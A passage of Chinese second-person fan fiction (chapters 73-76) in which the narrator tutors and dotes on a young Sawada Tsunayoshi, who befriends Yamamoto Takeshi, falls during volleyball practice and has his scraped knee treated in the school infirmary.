强装镇定,沢田纲吉僵硬着身体,他机械式跟在你身后,小小的脑袋全被和子占据,心里莫名闪过柔软的情绪,沢田纲吉假装不经意低头,结果恰好对视上小猫的金瞳。 沢田纲吉:! 下意识后仰想要远离,沢田纲吉立马如临大敌地盯着和子。 因为沢田纲吉突然的动作,和子也收起了懒散的神态,小猫舔爪的同时眯起眼睛盯着他,像是在寻找某种破绽。 双方一时之间陷入古怪的僵持。 你结完账,扭头就看到一人一猫深情对视的画面。 “两个人相处得很好嘛。” 听到你的声音,和子率先移开视线,它伸出舌头舔了舔凌乱的毛发,娇娇附和了你一声,金瞳无辜又天真。 沢田纲吉盯着乖顺找了个舒适位置躺下的和子,他恍然意识到自己似大概是反应过度了。松了口气,沢田纲吉感受着怀里沉甸甸的重量,他小心翼翼放松着自己,沢田纲吉无意识蜷缩了下手指。 指腹传来一阵温热,沢田纲吉试探地碰了碰和子的脑袋,后者只是懒洋洋掀起眼皮看了他一眼,见此,不知为何,沢田纲吉忽然放松许多。 也不知道是不是察觉到沢田纲吉转变的情绪,和子敏锐抬头,它歪了歪脑袋,娇声娇气朝沢田纲吉叫了一声。 沢田纲吉:它喜欢我! 眼睛骤然亮起,像是发现了新大陆,沢田纲吉的语气难掩兴奋:“和子好乖好亲人。” 你低头,沢田纲吉和小猫同时仰着脑袋看你,莫名的,你的手有些痒。稍弯腰,你摸摸和子的脑袋,又摸摸阿纲的脑袋,肯定道:“和子一直都很乖。” 摸够之后你收回手,原地只留下了一颗不断冒热气的棕发小脑袋。 出门后,你快速结完账。店内繁忙,山本武小小一只像个陀螺忙得团团转,只来得及简单和你们打了声招呼, 他便又投入到忙碌的人流中。 好不容易有个间隙,山本武抬头就看到了你们离开的背影,抬手擦了擦额头冒出的汗珠,山本武眨了眨眼不知道在想什么。不一会儿,又有新的客人在叫他,山本武利落应了一声,而后脸上重新露出灿烂的笑容开始新一轮的招待。 “春也之后打算回家吗?” 离开寿司店后,沢田纲吉不自觉一直跟着你的步伐走,他看看眯起眼睛假寐的猫,又看看认真走路的你,沢田纲吉没忍住打破了寂静。 “去你家。” “诶?!我、我家吗?” 见他满脸写着震惊,你挑眉,“阿纲不会忘记今天要补课的事情了吧。” 啊,他现在想起来了,沢田纲吉连忙回答:“我当然没有忘记!” 环顾四周,打量起周围的环境,沢田纲吉这才发现你走的路线通往他的家。 “春也好厉害,一下就记住了我家的路线。” “还有更厉害的呢。”看着沢田纲吉脸上轻松的笑容,你慢悠悠拖长尾音,“以竹寿司为起点,阿纲家为终点,求解哪条路线最短。” 笑容一下消失在沢田纲吉脸上,直到回家,沢田纲吉也没想象出到底哪条路到他家是最短的。 果然,能想出这道题的春也才是真正的恶魔吧!! 周末的下午,沢田纲吉一般会用看漫画来消磨时间,或者一觉睡到晚饭时间,偶尔,他也会去附近的公园一个人玩耍,但有人给他补课还是第一次。 转暖的空气带着甜意,风轻咬着早春的花香送到沢田纲吉面前,他咬着笔尖坐在窗户前,嗅着不知名的花香,沢田纲吉苦恼地抓着脑袋,然后不确定地写下一个又一个答案。 而没有学习烦恼的和子早在楼下的庭院玩疯了。 随意靠在窗台,你低头往下看去,和子正在草丛间窜来窜去,黑色爪子时不时高高伸出试图捕捉路过的蝴蝶昆虫,但每一次都失败了,看到和子气恼地在地上打滚,你的眼里不禁染上了笑意。 鼻尖嗅着风的气息,你沐浴在阳光下惬意地眯起眼,耳边除了和子咪嗷咪嗷的叫声,还有沢田纲吉时不时痛苦的哀嚎,你扭头看过去,对方依旧深陷在题海无法挣脱。 好羡慕和子啊。 你批改作业时,沢田纲吉提心吊胆地等待你的审判,忽然,余光里出现一道黑影,沢田纲吉不可避免被吸引,他小心翼翼看过去,发现和子不知何时爬到了他的房间,黑漆漆的毛发上还沾着草叶子和泥土,一看就是玩腻了才回家的。 听着笔尖接触纸张沙沙的批改声,沢田纲吉慢慢学着和子趴在桌子上,脑袋贴着冰凉的桌面,干燥温暖的风吹得他昏昏欲睡,沢田纲吉忍不住开始幻想——如果变成被你养的猫,一定会很幸福。你会摸摸他的脑袋和爪子,会轻声轻语地夸奖他,会亲昵地抱住他…… 想着你对和子的亲昵,和你今天对他的摸头,沢田纲吉简直幸福快要得冒泡。 第73章 极其自然的, 沢田纲吉的空闲时间和他的零花钱一样,慢慢都由你支配起来。 熟练接过沢田纲吉上交的零花钱,你奖励般摸摸他的脑袋。你是没什么意见, 至于沢田纲吉本人…… 后者只是在口头上稍微抱怨了两句便屁颠屁颠跟在你身前身后。 如果不是他偶尔还会嘀咕嘟囔几句, 你险些都要以为他乐在其中了。 这家伙的性格, 未免也太软了些吧。你忽然伸出手捏捏沢田纲吉软乎乎的脸蛋, 后者疑惑抬头,就算你打断了他思考, 沢田纲吉也没有表现出生气的模样, 他只是小声嘟囔了几句,然后把脸又往你手边凑了凑, 表情纯良到天真。 “肿么路?”被你捏着腮帮子,沢田纲吉声音含糊不清。 这么久下来,你早就摸清了沢田纲吉的性格。天真善良到愚蠢的家伙,就算是面对曾经欺负过他的人,也不会产生负面情绪……沢田纲吉是和你截然相反的人, 每深入了解他一点,你心里头就会隐隐闪过一丝糟糕情绪。 真想知道, 沢田纲吉生起气来会是什么模样啊。 你承认你就是糟糕到极点的家伙, 就算在表面光鲜正常,但你知道,你的内心早就泞泥不堪。 “阿纲都不会产生负面情绪吗?” 脑子还在思考中途断掉的数学过程,沢田纲吉困惑不解地歪头看你,“我当然会有啊。现在我就因为解不出来的题目源源不断地产生糟糕的负面情绪啊。” 你摇了摇头,“不是这种。” “是因为人。” “人?” “阿纲不想报复那些欺负你的人吗?” “诶?”沢田纲吉显然被你的话惊住,他磕磕巴巴地说话,“不, 倒也不需要那样啦。” 边说,他边小心翼翼观察你的反应,见你没有生气的迹象,沢田纲吉继续往下说:“如果我也做了和他们一样的事,我就也和他们一样了啊,而且,这样的话,大家的矛盾又会加剧。” 沢田纲吉的脑子里一直有道很清晰的线。何况,最重要的是,他觉得这样没有意义。 矛盾真的进一步升级的话,绝对会到请家长的那一步,老师又不会偏向他,而且妈妈一个人养他长大很辛苦,沢田纲吉不想妈妈为难。 小孩子也能懂很多,而单亲家庭的孩子一般会更加早熟懂事。但沢田纲吉又和其他任何人都不一样,他很少会去认真思考爸爸的位置。 沢田纲吉说得很认真,至少在你看来是这样。指尖轻轻挠着他的下巴,你慢吞吞问道:“阿纲不讨厌他们吗?” “说不讨厌是假的啦,但是我对现在的生活很满足了。”沢田纲吉垂眸认真盯着你的手看。 没有人再欺负他,没有人再叫他废柴纲的称呼,平时午餐不会再孤零零的在教室里吃,就算是体育课也不需要再担心自己会落单,因为你一直都会坚定选择他做搭档…… 他已经感受到了幸福和快乐,每天都不用再惧怕上学,那些过去笼罩在他身上的阴影正在慢慢消失,沢田纲吉感到前所未有的轻松。 “我一直在想,春也能够出现在我身边真是太好了。”这样说着,沢田纲吉抬眼专注凝视着你的眼睛,他喜欢那里面自己的影子——不再怯懦,不再慢慢变得颓废。 一滴无法隐藏的泪就这样悄悄落到你虎口,你骤然缩回手,像是被烫到,你的眼神不可避免变得有些慌乱,可偏偏,往日一直胆怯不敢触碰你的沢田纲吉在此刻大胆握上你的手,他的下巴乖巧托在你的掌心,沢田纲吉只不小心落了一滴泪,他两眼弯弯地注视你。 “我最喜欢春也了。” 沉默片刻,你缓缓抬手摘下了你的帽子,沢田纲吉不由自主屏息着。素白的手指一点一点勾着围巾,瘦削苍白的下巴露了出来,时至今日,沢田纲吉终于看到了你的真容。 “但是怎么办呢。”你恶劣地勾起唇角,温凉的手指轻点他的眼睛,你听到自己非人的低语:“我想看阿纲生气的、糟糕的、最好是因我而起的负面情绪啊。” 你不讨厌正常人,仅仅也只是不讨厌而已。 你的话有些超过沢田纲吉的理解范围,他脑袋晕乎乎的,只是一味地迎合你:“如果春也喜欢,我也可以努力的!” ——所以,这就是春也交新朋友的原因吗? 沢田纲吉看着和春也一同来到天台吃饭的山本武,浸泡在温柔陷阱里的大脑终于灵光了一次。可即便心里清楚原因,但沢田纲吉还是不可避免陷入了低落的情绪。 心脏像泡在讨厌的皱巴巴的酸菜里,沢田纲吉一个人坐在天台,他无措地看你领着山本武来到他身边。原来,你刚刚说的有点事要去做让他先一个人来这,是因为山本武吗? 眼珠微动,你第一时间察觉到了沢田纲吉微妙的情绪变化,下一秒,你意识到了什么,余光瞥了眼身旁的山本武,你若有所思。 很快,你明白了。眼里不自觉染上古怪的笑意,你和山本武慢慢走到沢田纲吉旁边坐下。 “阿纲。” 你不急不缓叫了声他的名字,沢田纲吉下意识扭过头不去看你,但很快,他还是没忍住转身对着你,沢田纲吉憋着气吐出一句:“春也,怎么是和山本同学一起来的?” “哈哈哈原来阿纲也在啊。”山本武像是完全没发现你们之间古怪的氛围,他坐在沢田纲吉身旁,手自然搭上他的肩膀,山本武笑容天然,“我在路上和春也碰到,干脆就和春也一起过来了,阿纲不介意带我一起吧。” 沢田纲吉意外山本武的自来熟,心中的郁气在山本武清爽的笑容下慢慢消退,他缓了缓,也跟着笑了下,“不介意的,山本同学。” “山本同学……哈哈哈哈这个称呼好奇怪啊,阿纲直接叫我名字就可以。” 沢田纲吉在心里小声吐槽,他根本就是故意叫得这么生疏的,但很遗憾,当事人似乎完全没有察觉到不对。泄气般,沢田纲吉无奈改口:“山本。” 被山本武这么一打岔,沢田纲吉瞬间忘记自己刚刚古怪的情绪。你困惑地看向笑容天然的山本武,后者敏锐抬头,看到是你,他立马朝你招手,“春也快过来坐下啊。” 真是奇怪的家伙。 “山本是路上意外遇到的。” 你可不想让人以为自己是故意的,虽然是想让阿纲生气,但具体怎么操作,你还没想好。 听到你的解释后,沢田纲吉心中的不爽彻底散了,他也朝你露出一个大大的笑容,“嗯!” 一顿午饭,大家意外都吃的很舒心。 第74章 山本武异常自然地加入了你和沢田纲吉的小组合, 至少等到沢田纲吉反应过来,你们已经从原先的两人小组合变成了三人小团体。 体育课,沢田纲吉抱着排球跟在你身旁, 这节课他们和山本武所在的班级一起上课, 中午吃饭的时候, 消息灵通的山本武就和他们说过了这事。 很快, 随着老师自由活动的命令下达,同学们三三两两聚集在了一起。根本不需要寻找, 你一回头就看到了沢田纲吉, 他乖乖抱着排球,仰起脑袋问你:“春也想在哪里训练?” “去那。”你指着墙角下阴影处, 想起山本武中午说过想要和你们组队,你抬头望去,不远处,他正被小豆丁们簇拥着,眼见他暂时无法脱身, 你收回视线拉着沢田纲吉离开了这。 你可不喜欢被人围堵,如果山本武没有办法一个人过来, 那么组队的事自然也就泡汤了。 你无情离开的背影映入了山本武眼里, 他无奈在心底叹了口气,看向不断请求要和他组队的小朋友,山本武笑容不变:“抱歉抱歉,我已经有了想组队的对象。” 琥珀色的虹膜在阳光下浅淡得几乎要消失,山本武即便笑着,也不会让人以为他是好欺负的性子,见他态度开始坚决起来,围在他身边的同学不自觉散开一条通道。 “那好吧, 山本下次要考虑我们哦。” “我可是很期待能和山本同学组队的啊!” “既然山本都这样说了,那也没办法了,我们都让开吧。” …… 山本武笑容清爽地朝他们招了招手:“下次一定,我先走了。” 感知到身后的视线还没有消失,山本武瞥了眼你和沢田纲吉所在的位置。沢田纲吉已经开始训练了。不动声色收回视线,山本武没有立刻去找你们,他知道你不喜欢人群和视线,先跑向洗手间简单清理了下自己,确认没问题后,他这才慢慢走了出去。 绕过人多的地方,山本武没有再引起动静,他安静走向你们。 “春也已经开始练习了吗?” 旁边努力练习的沢田纲吉:不,看春也手上干干净净的就知道她根本就是一直在休息啊! 见你懒洋洋坐在花坛不说话,山本武笑了下,继续说:“我没有来晚吧。” “没有,我们也才刚刚开始练习。”沢田纲吉习惯性出声接话,他也确实没说谎,沢田纲吉才尝试着颠了两个球,山本武就来了。 “我们先来对练吧。” 确认你没有想要练习的想法,山本武扭头看向一旁笨拙颠球的沢田纲吉,沢田纲吉看你还在发呆,他点了点头没有意见。 等你回过神的时候,山本武和沢田纲吉两个人已经练了有一会儿。 “阿纲的姿势又错了哦。”坐在花坛上,你慢悠悠晃着腿,话音落地,沢田纲吉脚一滑又要摔倒,他手忙脚乱地挣扎片刻,但还是抵不过地心引力的吸引。 眼见他即将摔倒,你干脆从花坛上跳了下来,手指勾着沢田纲吉的衣领,你稍稍用力,任由他朝着你的方向倒来。你脚步往后稍稍移动几步,沢田纲吉又一次摔在了你怀里。 第不知道多少次接住沢田纲吉大成功! 第75章 山本武眨了下眼, 轻松接住了那个即将痛击沢田纲吉的排球:“春也也接住阿纲了啊。” 被提到姓名的沢田纲吉还没反应过来就陷入了一个温暖的怀抱,像大晴天扑入阳光下晒得正好的绒被,沢田纲吉感觉自己被香喷喷的太阳公公抱了个满怀, 每一寸身体都深深埋入你的怀里, 前所未有的满足感席卷了他整个灵魂, 沢田纲吉简直幸福得快要哭泣。 点点琐碎的、微不足道的小细节被他搜罗一筐, 慢慢组成他回忆里最幸福绚烂的色彩。 沢田纲吉眼睛亮晶晶地仰头看你,你的名字由他奶声奶气的声音叫出, 犹如浸了糖霜的蜜饯, 甜得人牙痒痒。 “春也春也!” 像才学会说话的幼崽,沢田纲吉光是重复念叨着你的名字, 就已经很开心了。 你不是很能理解沢田纲吉的脑回路,纳闷道:“都要摔了还能笑得这么开心?” “可是春也接住了我呀。”沢田纲吉笑容甜蜜地弯起眼睛,他恋恋不舍地在你怀里多赖了几秒,而后借助你手臂的支撑慢吞吞站直身体。 重新站稳后,沢田纲吉欢快在原地蹦哒了两下, 你身上浅淡的菠萝香缓缓离他远去,沢田纲吉低头看了眼往常会令他恐惧的地面, 不知道从什么时候开始, 摔倒带来的不再是疼痛,而是甜蜜、欢喜与信任。 真是奇妙,沢田纲吉想,每一次只要你在他旁边,他总能摔到你怀里。明明你也没有比他高多少,看上去瘦瘦小小的一只,但就是那只瘦弱纤细的手指,轻轻松松折断了他跌入疼痛的深渊。 每次面对沢田纲吉灿烂的笑容和天真信赖的话语, 你总会微妙沉默几秒,盯了沢田纲吉一会儿,见他还是那副蠢兮兮的笑脸,指尖微顿,你若无其事抬手揉揉棕毛小狗头,嘴里刻薄地吐出一个字:“蠢。” 沢田纲吉大惊:“噫?!春也为什么要这么说我?” 沢田纲吉委屈巴巴看着你,眼里却无丝毫负面情绪,降调的语气不过是单纯地在和你撒娇。你挑了下眉。 哦豁,草食兔子也学会吃肉了。 没有理会撒娇的某人,你偏过头,恰好看到山本武歪头注视着你和阿纲,对上你的视线,他抱着排球笑容天然:“春也和阿纲的关系真好啊。” “诶?有吗?”沢田纲吉惊讶山本武的话,心底短暂升起一丝不自然,他扭头,看到你没有丝毫变化的嘴角,那点骤然升起的不自然又很快消失得无影踪,沢田纲吉挠了挠后脑勺,笑容腼腆:“也还好啦。” 山本武慢吞吞垂下眸子掩去眼底的思索,指尖用力,排球轻松悠然地在他指尖转动,你和沢田纲吉不可避免被吸引,见你们两个齐齐看向他,山本武张开五指悬停排球,他抬起脑袋朝你们露出一个过分阳光灿烂的笑容。 “既然春也一起过来了,那我们重新开始练习吧。” 山本武是个异常认真专注的小孩,在其他小朋友因为老师离席后开始聊天讲八卦不再专注练习时,山本武并没有敷衍对待这场普普通通的自由练习。 ——他答应了你们要一起认真练习。 不过,就是他的教学方式有些抽象。 “怎么和我一起轻轻松松颠球?”听到沢田纲吉的疑惑和羡慕,山本武歪头,他几乎没有思考就开口:“很简单啊,就这样‘啪啪啪’的两下,再‘砰’的一下,最后‘咚咚咚’的连起来, 就能学会了,怎么样,阿纲学会了吗?” 说着,他又向你们演示了两遍。 “看,是不是很简单?” 山本武的语气隐隐透着邀功,你甚至能从他那双琥珀色的大眼睛里看到几分期待。 沢田纲吉先是认真听讲,在听到那些稀奇古怪难以理解的拟声词后,他懵逼茫然地看山本武就这样简简单单颠起了球,沢田纲吉忍不住吐槽:“怎么可能理解啊?!到底是怎么从那两个拟声词里看出颠球的技巧啊?!!” 完全就和他因为捡了个笔结果黑板上瞬间就出现了密密麻麻的解题步骤一样难以理解啊——!! 沢田纲吉忍不住朝你投来求救的目光:“春也理解了吗?” 你抬头,山本武移动几步站在你面前,也跟着沢田纲吉眨巴眨巴眼睛等待着你的回答。 面对两只眼睛亮闪闪的可爱萌物,你轻咳一声,强力压下嘴角快要萌生的笑意,你接过了山本武手上的排球。 “排球先这样,在地上拍打两下试一下它充气足不足,确认没问题后向上抛起,双手交叠,用手腕处的位置颠球。” 山本武微微睁大眼睛,他专注听着你说话,眼珠缓慢转动了一下,山本武盯着你给沢田纲吉调整动作,神情微妙中透着无人察觉的审视,半晌,他缓缓眨了下眼,脸上绽放出耀眼到刺目的笑容。 果然,你真的很有意思啊。 你看沢田纲吉在你的话语下不断纠正动作,一开始,他的动作没有问题,但随着颠球的次数变多,你发现沢田纲吉无法让自己固定在原位。 他眼睛一眨不眨盯着在半空中不断抛起又落下的排球,沢田纲吉下意识跑动起来追随距离忽远忽近的排球,连带着原本正确的颠球手势也开始变形,直到排球颠歪到几米开外,沢田纲吉用力追过去却一不小心左脚绊右脚…… 噫!要摔了啊!! 沢田纲吉连忙慌里慌张看向你,后颈一紧,沢田纲吉熟练栽倒在你身上,动作丝滑地像是锻炼过千万次。 “重心不够稳,不过比一开始进步多了。” 沢田纲吉握紧拳头:“我会继续努力的!” “哈哈哈很有斗志嘛。” 山本武捡完球回来就看到了沢田纲吉坚定到执拗的眼神,总觉得这个眼神很熟悉呢,完全不知道自己对待棒球的态度就是这副模样的山本武陷入思索,他拍了拍沢田纲吉的后背,把手里的排球传递给他。 山本武笑容灿烂地竖起大拇指:“加油!如果是阿纲的话,一定没问题。” 虽然沢田纲吉会间歇性地自暴自弃摆烂躺平,但更多时候,只要你耐心鼓励,沢田纲吉就会一个鲤鱼打挺支棱起来开始努力,就像一只被夸奖后就会竖起耳朵专注认真的小狗狗。而你最喜欢养小动物了。 放心让沢田纲吉这旁边练习,偶尔,你漫不经心出声纠正他不自觉错误的动作。 直到你一个走神,沢田纲吉又摔倒了。 你皱眉走过去,见沢田纲吉掩藏地把手藏在身后,你强硬拽过他:“怎么摔了?” 沢田纲吉沮丧地垂下脑袋,像只耷拉着耳朵的丧气垂耳兔,“我刚刚没有把握好距离。” 不过他很快又振作起来,“但是我感觉我已经找到了诀窍,很快我就可以和大家一样顺利颠球无数次的!” 你没有说话,强硬捏起沢田纲吉的手腕,不出所料,上面通红一片,甚至还出现了数目可观的红点。指腹轻轻触碰,沢田纲吉的手腕上还残留着微烫的温度。 视线下移,沢田纲吉的腿上还出现了擦伤。天气转温,沢田纲吉从一开始的长袖长裤换成了短袖短裤,裸露的膝盖处,带着血丝的擦伤在苍白的肤色下显得格外可怖,你不自觉抚上他的伤口,恍惚间,你想起了过去。 在你触碰下,沢田纲吉僵硬着身体没敢动弹,他几次伸手想要阻拦,但看到你没有丝毫弧度的唇角和古怪的心虚里,沢田纲吉犹犹豫豫任你动作。 “伤口有点严重,要先去医务室。”山本武皱起眉头,左右环顾后,确认看到老师的身影,他率先起身:“我先去和老师打个报告,很快回来。” “还能站得起来吗?” 沢田纲吉尝试起身,但擦伤正好在膝盖,一时之间,他暂时无法做到屈膝。 你的力气虽然不大,但抱起一个还未开始发育的小崽子绰绰有余,而且沢田纲吉还比一般小朋友要轻。 蹲下身一手穿过沢田纲吉的腿弯,一手揽过他的腰肢,一个用力,你公主抱起来沢田纲吉,后者脸上出现慌乱的情绪,沢田纲吉支支吾吾小声让你放他下去,被你无视了,没有办法,他只好脑袋冒烟地把头埋入你的脖颈,沢田纲吉试图把自己藏起来。 春也的态度,好奇怪。 沢田纲吉抓着你的衣领忍不住想,过去他也在你面前进行过无数平地摔,虽然都被你拦截了……他也曾因为总是做不对题目而索性自暴自弃地在你面前发起小脾气……但是这一次摔倒了,你的态度好像和之前任何一次都不一样。 到现在,沢田纲吉已经渐渐意识到也是有人会为他着想,但沢田纲吉小小的脑袋里暂时还是无法明白很多很多事情。 等待山本武回来的途中,你偏了下脑袋,温热轻慢的吐息落在沢田纲吉耳边,听得他心脏一烫:“没必要那么急躁,练习又不止这一次机会。” 沢田纲吉无意识攥紧手指,泛白的指甲仿佛要深入你的骨肉,沢田纲吉沉默了半天,好半晌,他才小声说出口:“之前已经练习过几次了,但每一次颠球都超不过三次,今天好不容易能够连贯……” “我只是想要更努力一点,这样春也会……” 这样春也说不定会为他感到骄傲。 沢田纲吉超级小声,那些琐碎的期待和不甘心轻飘飘含在嘴里吞出又咽下,而后又轻飘飘被一阵风吹走。 “我不想春也失望。” 就算是他,他会想要春也因为他努力的成功而笑一下。他只是想要证明,沢田纲吉也是可以摆脱废柴纲的称号的。 但是好像,他又搞砸了一切…… 第76章 脖颈处传来一片温热, 炙热的吐息混杂着黏腻的汗水,你低头,沢田纲吉正焉巴巴埋在你脖颈, 潮湿的发丝黏哒哒地粘在你干燥清爽的发丝, 他却丝毫不觉察, 只是一味地搂紧你。 你像抱小孩一样抱着沢田纲吉, 让他坐在你的手臂,你腾出一只手轻轻抚摸他的脊背。小小一只的沢田纲吉因为你的抚摸而轻微颤抖着, 你摊开手掌, 沢田纲吉仿佛完全陷入了你手心,微妙的掌控欲令你愉悦扬眉。 “阿纲, 抬头看我。” 沢田纲吉怯生生地抬起头,眉眼耷拉着,他听话地抬眼看你,暖棕色的大眼睛黑白分明地倒映着你略微上扬的眉眼。看沢田纲吉一副完完全全信赖你、想要寻求你认同的模样,你难以抑制地感到愉悦。 “没关系呢。”嘴角缓慢勾起一丝微妙的弧度, 你耐心又温和地说:“阿纲这样已经很棒了,我就是喜欢这样的阿纲啊。” 眼见沢田纲吉睁大眼睛, 你慢吞吞补充, 轻慢的咬字透着难言的蛊惑,沢田纲吉只觉得自己整个人都浸泡在了幸福的蜜罐里。 “走路平地摔、不擅长运动、成绩一般……” 你每说一个缺点,沢田纲吉的脑袋就往下低一点,连暖色调的毛发都黯淡了不少,下巴磕在你肩膀,沢田纲吉耍脾气般别过脸不去看你。 “但是,我喜欢着的,就是这样拥有废柴属性的可爱阿纲啊。” 在遇到沢田纲吉以前, 你根本无法想象一个人身上拥有这么多缺点竟然还能这么可爱。幼崽阿纲是你发现的瑰宝,他是你一个人开始饲养的小动物。而恰好,阿纲也完完全全信任喜爱着你。 再也没比这更令人愉悦的事了,反正骸骸他们也没说不可以在并盛养些小动物。 你抱着沢田纲吉,近乎满足地感叹:“阿纲,是我的宝物。” 沢田纲吉完全不知道你把他当成了无害的草食动物,他内心感到巨大欣喜的同时又被不知所措和不自信淹没,沢田纲吉从未想过竟会有人愿意喜欢身为废柴纲的他,他也不觉得会有人喜欢一个废柴,可是现在春也说她喜欢那个一无是处的废柴纲,可是春也会说他是春也的宝物。 宝物…… 阿纲是春也的宝物…… 阿纲是春也一个人的宝物…… “我、我也可以吗?” 沢田纲吉埋在你脖颈,他藏起自己的脸不让你看到他的表情,那点微末的不自信短暂涌过心脏后,随后涌至而来的是卑劣的欢喜,沉甸甸的幸福与喜悦几乎要压垮他轻飘飘的心脏,沢田纲吉极力克制才没有让自己立刻哭着笑出声。 太糟糕了,在知道你喜欢着这样的他后,他糟糕地感到前所未有的欢喜。这种喜欢,完全不是他买到自己喜欢的漫画书可以媲美的,这是一种他从未体会到的心情,词汇量匮乏,沢田纲吉根本不知道该怎么形容自己现在的心情。 “为什么不可以呢。”你反问他。 “因为我…运动水平差劲…成绩差劲…是废柴纲……” 沢田纲吉虽然极力掩饰,但微弱的哽咽还是隐约传到了风里,他磕磕绊绊地重复了一遍你嘴里他的弱点,怀着微妙的情绪,他不清楚自己还想从你口中听到什么样的答案。 “那又怎么样呢。”你重复着,笑声覆盖了他所有的怯弱和不自信,“就算是废柴纲,也会有人喜欢啊。” “我喜欢废柴纲,就算未来阿纲会长成一位超级厉害的大人,我也会一如既往地喜欢过去废柴的阿纲。” “没有谁规定,人一定要很优秀才行,难道说排除刚刚的那些缺点,阿纲就没有任何优点了吗?” 沢田纲吉期期艾艾地抬起头:“优点?” “在知道迟到的情况下愿意优先处理我的伤口,就算害怕吉娃娃也不会对它产生糟糕的负面情绪,会因为别人的请求而帮助人……最重要的是,阿纲有一颗珍贵的赤诚之心。” “嗯?是在谈论阿纲的优点吗?”说话间,山本武小跑到你们身边,恰好听到最后一句话,他先是说了请假成功的事情,然后在你们一起前往医务室的过程中,山本武笑容灿烂地补充:“阿纲的优点有很多哦。” “体育课结束会好好把同学乱扔的排球耐心放进筐里,就算跑步是板上钉钉的最后一名也会坚持跑完全程,哦哦还有还有,阿纲还会热情地和我们交换盒饭。” 体育课因为老师在一旁看着,他不好意思就那样走人;跑步是因为春也一直注视着他,他拼着昏迷也不想在春也面前放弃…… 沢田纲吉悄悄在心里解释,外人看到的还是和真实的他不太一样。 等等,后面说他跑步是板上钉钉的最后一名根本就是暴露了山本认为他是废柴的真实想法吧!! 但无法控制的,沢田纲吉的嘴角一直在上扬,被两个好朋友不重复地夸夸,他羞涩又不好意思地把脑袋往你浓密的头发间藏了藏。 “春也也有好多好多的优点。”山本武以为这是集体夸夸大会,他把你和阿纲从头到尾都夸奖了一遍,常年跟着老爸,山本武的口才本就比一般人好上许多,在他的真心夸赞下,你险些以为自己是什么绝世大好人了。 山本武认真看向你:“春也是这个世界上最好的春也!能够认识春也,我真的很幸运啊。” “哈哈哈不过说起来,我们这是什么表彰大会吗?” 还在感动的沢田纲吉看到山本武慢半拍后的大笑,他忍不住大声吐槽道:“根本不是表彰大会啦!!结果山本居然完全不在状态吗?!!” 但下一秒,沢田纲吉自己也没忍住笑出了声,他趴在你肩膀,轻松欢快的笑声顺着风声飘到了很远很远。 即将抵达医务室,你忽然扭头看向山本武,在对方歪头疑惑的表情中,你缓缓说道:“山本也是,打棒球的样子很吸引人呢。” 你故意压低的帽檐让山本武无法看清你的脸,他只能透过沢田纲吉棕色的发丝看到你若隐若现的苍白下巴,你红润的薄唇一张一合,山本武愣神片刻,直到踏入医务室,冷冰冰的房间透着不知名的寒意,激得山本武一下回神。 眼珠微转,琥珀色的瞳孔自动捕捉着你脸上的每一刻表情,半晌,山本武开玩笑道:“在春也眼里,我只有这一个优点吗?” “谁让我看到了最耀眼的一个呢。” 漫不经心的语气直直戳中山本武的心脏,他慢半拍地眨眼,低头看了眼自己的手,山本武知道,你说的是上一次他挥出的棒球险些打中你的事情。 “我以为你会觉得那是一次可怕的阴影。”毕竟全力挥出的棒球还是有些砸伤人的风险,虽然不致命,但淤青免不了。 万幸,那枚棒球没有打中你。 “不,恰恰相反,那是一次很棒的经历。”你冲他扬了扬下巴,“不这样的话,我怎么会看到山本这么耀眼的一面。” 牙白牙白,这下有点糟糕了啊。心脏漏了半拍,山本武摸了摸鼻尖,他慢半步跟上你,笑容天然道:“哈哈哈耀眼什么的也太夸张了。” 沢田纲吉茫然地看你们打哑谜,被你放在床上坐好后,他抬手忍不住拽了下你的衣角,沢田纲吉担忧道:“春也不小心被棒球打到了吗?” “没有,只是差点。” 来过一次医务室,你已经熟悉了里面东西的摆放,想起沢田纲吉不耐痛,伸向双氧水的手稍微偏了偏,你拿起旁边的碘伏和抽屉上方的纱布绷带。 来到沢田纲吉面前,你让他往后坐了坐,自然蹲下身,一盆清水恰到好处推到你身旁,你看过去,是山本武。 确认你没事后,沢田纲吉这才小声叨叨:“我都不知道这件事。” “那个时候阿纲不在。”你稍微回忆了下,“当时我抄近路走的,无意见发现山本一个人在那练习棒球,中途棒球脱轨,朝我飞了过来,砸到了旁边的树干。” 然后一枚熟透了的果子掉了下来,正中你的脑袋,力道刚刚好,懵逼不伤脑。 山本武耐心听着你简陋的描述,等到你说完,他才慢慢开口:“我真的吓了一跳呢,当时那个棒球和春也之间就隔了这么点距离。” 说着,山本武还生动地用手比划了那零点几毫米的距离,“几乎是擦着春也的发丝过去的。” 不过你也没想到山本武这么小小一只,身体里居然蕴藏着巨大的力量,你都能感受到棒球飞过时划破空气的厉声。 原本还有些小失落的沢田纲吉听到你们的回忆,他慢慢从中拼凑出整个故事的原貌,就好像他也曾围观了一场棒球的谋杀未遂,缓缓地,他放松起来,笑意悄悄从眼底跑出来。 “要开始上药了,阿纲不要乱动。” 清洗完伤口,你拿出碘伏,耐心把棉签浸湿,你提醒道。 水泥路上摔一跤可不轻,肉眼可见的,沢田纲吉的擦伤可怖多了,渗出的血液一路滑至小腿,沢田纲吉的肤色又偏白,狰狞恐怖的伤口印在上面显得更加吓人。 沢田纲吉双手往后撑在床上,他歪过脑袋不敢看你处理伤口,手指无意识攥紧床单,沢田纲吉心慌地闭上眼睛。 山本武看出了沢田纲吉的紧张,他在旁边说话缓解沢田纲吉的情绪,你有一搭没一搭回着话,沢田纲吉攥着床单一边听一边紧张兮兮地等待疼痛到来。 胆战心惊地等待半天,沢田纲吉也没感知到什么动静,沢田纲吉忍不住悄悄歪过一点脑袋,下一秒,伤口处传来一缕清凉的风,沢田纲吉小心翼翼睁开一只眼睛,他看到了你头顶的黑色小发旋。 你正在轻柔地给他上药,未扎起的发丝似有若无扫过他的小腿,酥酥麻麻的叫他分不清到底是伤口的痒意还是别的什么,过度紧张下,指甲用力得都泛起了白,偶尔的轻微疼痛感让他忍不住抬手抓住眼前惹人心烦的黑色发丝。 沢田纲吉没有用力,但你还是发现了他的动作,顺着他无意识的力道抬头,你眼底闪过困惑:“你在做什么?” 回过神的沢田纲吉这才意识到自己干了什么蠢事,他记得女生都是很讨厌被拽头发的,班上那些爱拽人头发的男生就被揍了很多次。 惊慌收手,沢田纲吉连忙磕磕绊绊地道歉:“噫!对、对不起——我不是故意的!!” “很疼吗?”你只能想到这个原因。 “还好。”沢田纲吉扭过头眼神飘忽,“其实也没有那么疼。” 